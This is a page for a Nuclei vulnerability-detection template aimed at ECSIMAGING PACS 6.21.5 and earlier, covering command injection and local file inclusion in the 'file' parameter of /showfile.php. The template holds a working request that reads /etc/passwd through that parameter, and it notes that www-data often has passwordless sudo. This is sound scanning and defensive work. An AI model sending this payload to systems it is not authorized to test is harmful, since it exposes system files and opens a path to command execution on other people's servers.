Skip to content

ECSIMAGING PACS <= 6.21.5 - Command Execution and Local File Inclusion

ID: ecsimagingpacs-rce

Severity: critical

Author: ritikchaddha

Tags: ecsimagingpacs,rce

ECSIMAGING PACS Application 6.21.5 and below suffer from a command injection vulnerability and a local file include vulnerability. The ‘file’ parameter on the page /showfile.php can be exploited to perform command execution or local file inclusion. Often on ECSIMAGING PACS, the www-data user has sudo NOPASSWD access.

id: ecsimagingpacs-rce
info:
name: ECSIMAGING PACS <= 6.21.5 - Command Execution and Local File Inclusion
author: ritikchaddha
severity: critical
description: ECSIMAGING PACS Application 6.21.5 and below suffer from a command injection vulnerability and a local file include vulnerability. The 'file' parameter on the page /showfile.php can be exploited to perform command execution or local file inclusion. Often on ECSIMAGING PACS, the www-data user has sudo NOPASSWD access.
reference: https://www.exploit-db.com/exploits/49388
classification:
cwe-id: CWE-78
metadata:
verified: false
max-request: 1
tags: ecsimagingpacs,rce
http:
- method: GET
path:
- "{{BaseURL}}/showfile.php?file=/etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022034e62e525d554acfbd66ac3e978bdd7d5b5af26347fed1c86028c555953cb7ad02202fe387c0547f44d4e1cc1dd379a499837fce42cc2ca835ebd61817ab432c00db:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/ecsimagingpacs-rce.yaml"

View on Github